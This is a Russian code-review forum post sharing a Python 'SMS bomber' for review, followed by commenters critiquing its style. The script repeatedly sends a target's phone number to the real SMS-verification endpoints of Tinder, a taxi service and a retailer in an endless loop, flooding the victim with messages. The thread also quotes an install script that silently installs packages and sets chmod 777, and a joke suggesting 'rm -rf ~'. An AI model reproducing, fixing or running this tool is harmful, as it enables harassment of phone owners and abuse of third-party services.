1. Python / Говнокод #26812

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    #!/usr/bin/python3
    # spammer v3.0
    # author: cludeex
    import os, random, time, urllib
    try: import requests
    except: os.system("python -m pip install requests; spamer")
    def logo():
        os.system('cls' if os.name=='nt' else 'clear')
        print(clr.blt+clr.gn+"  ___ ___  _   __  __ __  __ ___ ___\n / __| _ \\/_\\ |  \\/  |  \\/  | __| _ \\\n \\__ \\  _/ _ \\| |\\/| | |\\/| | _||   /\n |___/_|/_/ \\_\\_|  |_|_|  |_|___|_|_\\"+"\n\n    SMS Bomber: github.com/cludeex\n"+clr.end)
    def update():
        up = input("Вы уверены, что хотите обновить? (y/n) ")
        if up == "y":
            os.system('cls' if os.name=='nt' else 'clear')
            os.system("cd && rm -rf ~/spammer && git clone https://github.com/cludeex/spammer && python ~/spammer/install.py")
            exit()
        else:
            print("Отменено")
            main(2)
    def main(t):
        time.sleep(t)
        logo()
        print("[1] СМС СПАМЕР\n[2] ОБНОВИТЬ СПАМЕР.\n[3] ВЫХОД.\n")
        input1 = input(clr.bl+clr.blt+"Введите номер пункта: "+clr.end)
        try:
            requests.get("http://google.com", verify=True)
        except:
            logo()
            print(clr.blt+clr.rd+"[!] Нет интернет соединения."+clr.end)
            main(2)
        if input1 == "1":
            logo()
            _phone = input(clr.bl+clr.blt+"Введите номер: "+clr.end)
            if _phone == "":
               main(0)
            if len(_phone) == 11 or len(_phone) == 12 or len(_phone) == 13:
                pass
            else:
                logo()
                print(clr.blt+clr.rd+"[!] Неправильный номер."+clr.end)
                main(2)
            if _phone[0] == "+":
                _phone = _phone[1:]
            if _phone[0] == "8":
                _phone = "7"+_phone[1:]
            if _phone[0] == "9":
                _phone = "7"+_phone
            _name = ""
            for x in range(12):
                _name = _name + random.choice(list("123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"))
                password = _name + random.choice(list("123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"))
                username = _name + random.choice(list("123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"))
            _phone9 = _phone[1:]
            _email = _name+"@gmail.com"
            email = _email
            logo()
            print("Телефон: "+clr.bl+clr.blt+_phone+clr.end+"\nСпамер запущен.\nЧтобы остановить спам - нажми Ctrl + Z")
            while True:
                if _phone[0] == "7":
                    try:
                        requests.post("https://moscow.rutaxi.ru/ajax_keycode.html", data={"l": _phone9}).json()["res"]
                    except:
                        pass
                    try:
                        requests.post("https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru", data={"phone_number": _phone}, headers={})
                    except:
                        pass
                    try:
                        requests.post("https://app.karusel.ru/api/v1/phone/", data={"phone": _phone}, headers={})
                    except:
                        pass

    Мне друг сказал что мой код - говно. Что не так в нём?

    Запостил: milkpro, 19 Июля 2020

    Комментарии (55) RSS

    • Да вроде норм.
      Ответить
    • Для такого одноразового говна пойдёт.
      Ответить
    • 1. #!/usr/bin/python3 -> #!/usr/bin/env python3
      2. Не по «PEP8». Расстрелять!
      3. os.system("python -m pip install requests; spamer"): мало того, что такое неявное вмешательство в систему пользователя — само по себе адское дерьмо, так оно ещё и не сработает на системах с джвумя «Питонами»: пакет поставится во второй, а не в третий.
      4. \\/_\\ | \\/ | \\/ : какой багор )))
      5. "cd && rm -rf ~/spammer && git: расстрелять три раза! См. 3 пункт. А вдруг у пользователя в «~/spammer» стоит что-то другое? А вдруг `pwd` != ~?
      6. random.choice(list("123456789qwertyuiopa sdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBN M")): вынести в отдельную функцию, list(...) — в отдельную коньстанту.
      7. if _phone[0] == "7": если пользователь ввёл телефон с [1-6] в начале (111111111111, например), то программа просто зависнет и будет бесконечно гонять вечный цикл. Какой багор )))
      Ответить
      • >> #!/usr/bin/python3 -> #!/usr/bin/env python3
        - это для любой хуйни так теперь писать нужно или только для пистона? О_о
        Ответить
        • > это для любой хуйни так теперь писать нужно или только для пистона? О_о
          Это правило хорошего тона. «Питон» у юзера не обязан быть в «/usr/bin»/«/bin»/«/usr/local/bin» или по какому-нибудь ещё абсолютному пути. См.
          https://unix.stackexchange.com/questions/29608/why-is-it-better-to-use-usr-bin-env-name-instead-of-path-to-name-as-my
          Ответить
          • Круто, надо взять на заметку.
            Ответить
          • Оказывается, env — это вообще POSIX, поддерживается даже в «Solaris» и во «FreeBSD»:
            https://www.opennet.ru/man.shtml?topic=env&category=1&russian=5

            А мне почему-то казалось, что это специфика определённых дистрибутивов «Линукса» вроде «Debian». Наверное, с «alternatives» спутал.
            Ответить
      • > неявное вмешательство в систему
        - принимая во внимание, что скрипт сам по себе зловред, то
        Ответить
      • > rm -rf ~/spammer

        Я бы на rm -rf ~ поменял, ибо нехуй спамить.
        Ответить
      • 1. спамер преднозначен для termux
        2. на pep8 похуй
        3. см 1 пункт
        4. главное что работает
        5. см 1 пункт
        6. см 4 пункт
        7. выведет неправильный номер
        Ответить
      • я код обновил, оцени
        https://github.com/cludeex/spammer
        Ответить
    • показать все, что скрытоvanished
      Ответить
      • В посте не весь код, оказывается, весь в репозитории лежит (и состоит из охулиарда смешных try: post except: pass).
        class clr:
            rd = '\033[91m'
            gn = '\033[92m'
            yl = '\033[93m'
            bl = '\033[94m'
            mg = '\033[95m'
            cn = '\033[96m'
            wh = '\033[97m'
            gr = '\033[90m'
            blt = '\033[1m'
            end = '\033[0m'
        Ответить
    • «install.py» тоже красивый, кстати:
      import os
      os.system("pkg install dos2unix")
      os.system("pip install requests")
      os.system("cp ~/spammer/spammer.py /data/data/com.termux/files/usr/bin/spammer")
      os.system("dos2unix /data/data/com.termux/files/usr/bin/spammer")
      os.system("chmod 777 /data/data/com.termux/files/usr/bin/spammer")
      os.system("spammer")
      Ответить
      • /data/data — это для «Ведроида» что ли?

        Пытаюсь представить себе смартфон с «Питоном» на борту.
        Ответить
        • > /data/data — это для «Ведроида» что ли?
          Подтверждаю.

          > Пытаюсь представить себе смартфон с «Питоном» на борту.
          А в чём проблема? Там обычный «GNU/Linux», туда можно хоть «PHP» накатить. У меня, например, накачен «OpenSSH» с обёрткой: я через него файла с телефона на комп (и обратно) перебрасываю.
          У ТС в репозитории реальный пример: https://play.google.com/store/apps/details?id=com.termux&hl=ru.
          Ответить
          • Да я тоже много чего запускал. Я пытаюсь представить себе скрипткиддис, которые ради спама будут всё это накатывать и ругаться, что прыщебляди соснули.
            Ответить
            • Глянь отзывы у эмулятора терминала по ссылке, там восьмилетние дети ругаются, что у них «смс бомбер» не работает. Какой багор )))
              Ответить
    • я код обновил, можете оценить
      https://github.com/cludeex/spammer
      Ответить

    Добавить комментарий